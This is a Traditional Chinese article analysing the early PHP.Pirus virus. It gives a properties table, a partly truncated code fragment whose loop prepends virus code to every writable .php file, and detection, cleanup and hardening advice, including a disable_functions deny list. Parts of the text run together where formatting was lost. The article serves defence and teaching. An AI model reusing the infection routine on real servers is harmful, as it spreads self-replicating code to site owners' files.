2000 年發現的 PHP.Pirus 是首個經確認的 PHP 病毒,雖然破壞力低但具備自我複製特徵,為 Web 應用安全敲響警鐘。本文整理技術細節、感染機制與清除方案。
| 屬性 | 數值 |
|---|---|
| 發現時間 | 2000-09-11 (Symantec 記錄) |
| 檔案大小 | 718 位元組 |
| 感染目標 | 副檔名 .php、.htm 的可寫入檔案 |
| 運行條件 | 需在支援 PHP 解析的伺服器上執行 |
| 傳播向量 | 本地檔案系統寫入,非網路蠕蟲傳播 |
| 威脅等級 | 低 (感染主機 0-49、站點 0-2、地理分布低) |
';
foreach (glob("*.php") as $file) {
if (is_writable($file)) {
$content = file_get_contents($file);
// 檢查是否已感染
if (strpos($content, $virus_code) === false) {
// 前置注入,優先執行病毒碼
file_put_contents($file, $virus_code . "\n" . $content);
}
}
}
foreach (glob("*.htm") as $file) {
// 同樣處理 .htm 檔案
}
關鍵特徵:
*.php 與 *.htmis_writable()include "virus.php" 確保優先執行<?php include "virus.php"; ?> 注入行chmod 644 移除不必要的寫入權限grep -r "include.*virus\.php" /web/rootPHP.Pirus 利用了「目錄可寫」與「程式碼注入」兩個經典弱點。現代防護體系:
防護層面 具體措施 檔案系統 Web 目錄 不可寫;上傳目錄隔離、禁用執行權限、隨機化檔名 PHP 配置 disable_functions=exec,shell_exec,system,passthru,popen,proc_open;open_basedir限制存取路徑程式碼審計 靜態分析工具 (Psalm, PHPStan) 檢測動態包含、eval 等高風險模式 運行時防護 WAF (ModSecurity) 規則攔截惡意載荷;RASP 技術監控異常檔案寫入 部署流程 唯讀容器映像;CI/CD 管道整合掃描;生產環境禁止直接修改程式碼
PHP.Pirus 證明了腳本語言同樣面臨惡意程式碼威脅。其「檔案感染」模式雖然原始,但啟發了後續 Web Shell、PHP 殭屍網路、勒索軟體等演變。核心教訓:最小權限原則 與 不可變基礎設施 是根本防線。